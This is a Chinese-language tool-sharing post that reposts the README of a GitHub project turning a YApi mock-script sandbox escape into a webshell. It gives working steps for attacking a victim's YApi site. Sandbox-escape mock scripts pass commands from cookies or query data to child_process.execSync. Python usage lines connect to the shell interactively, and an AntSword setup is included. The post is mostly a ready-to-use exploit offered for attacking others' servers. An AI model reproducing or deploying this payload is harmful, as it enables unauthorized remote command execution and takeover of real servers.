另一种 Webshell 方式的 Yapi 命令执行的方法 更加微操和可控、影响更小

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/Esonhugh/yapi-rce-webshell

Yapi-rce-webshel​​l

Yapi mock script RCE 另一个版本。 webshel​​l方式。

YMFE/issues#2099

有趣的事情

用法:

  1. 受害者结构网站
  2. 注册账户
  3. 创建项目并在其中创建 api
  4. 创建模拟脚本

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString()
// you can also add exec function to do some async jobs like running enum scripts

  1. 使用python脚本连接webshel​​l并交互

python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode
# or
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}

AntSword 替代品

  1. 与用法相同
  2. 但是使用高级模拟 POST 方法创建 API。

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync(query.data).toString()
// you can also add exec function to do some async jobs like running enum scripts

  1. 打开蚂蚁剑
  2. 使用 Config 创建

  • 类型:CMDLINUX
  • 传递:数据
  • URL: Yapi 配置中的 mock url
  • 编码器/解码器:默认

  1. 享受你的 webshel​​l

 

标签:工具分享, webshell绕过, Yapi